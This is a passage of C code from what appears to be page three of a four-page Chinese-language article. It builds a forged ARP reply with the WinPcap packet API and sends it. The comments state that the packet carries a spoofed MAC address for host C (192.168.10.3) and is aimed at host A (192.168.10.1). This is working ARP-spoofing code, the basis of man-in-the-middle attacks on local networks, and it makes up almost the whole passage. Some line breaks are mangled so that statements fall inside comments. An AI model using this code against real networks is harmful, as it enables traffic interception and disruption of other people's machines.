ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)) { printf("Get Mac address error!\n"); } memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)) { printf("Get Mac address error!\n"); return 0; }
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); ARPPacket.arphdr.arp_pro = htons(EPT_IP); ARPPacket.arphdr.arp_hln = 6; ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)) { printf("Get Mac address error!\n"); return 0; }
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址 ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)) { printf("Get Mac address error!\n"); return 0; }
memcpy(ARPPacket.arphdr.arp_tha, MacAddr, 6); //目标A的MAC地址 ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址
memcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket)); PacketInitPacket(lpPacket, szPacketBuf, 60);
if (PacketSetNumWrites(lpAdapter, 2) == FALSE) { printf("warning: Unable to send more than one packet ina single write ! \n "); }
if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) { printf("Error sending the packets!\n"); return 0; }
printf("Send ok!\n");
// close the adapter and exit PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter); return 0; }
共4页: 上一页 [1] [2] 3 [4] 下一页
|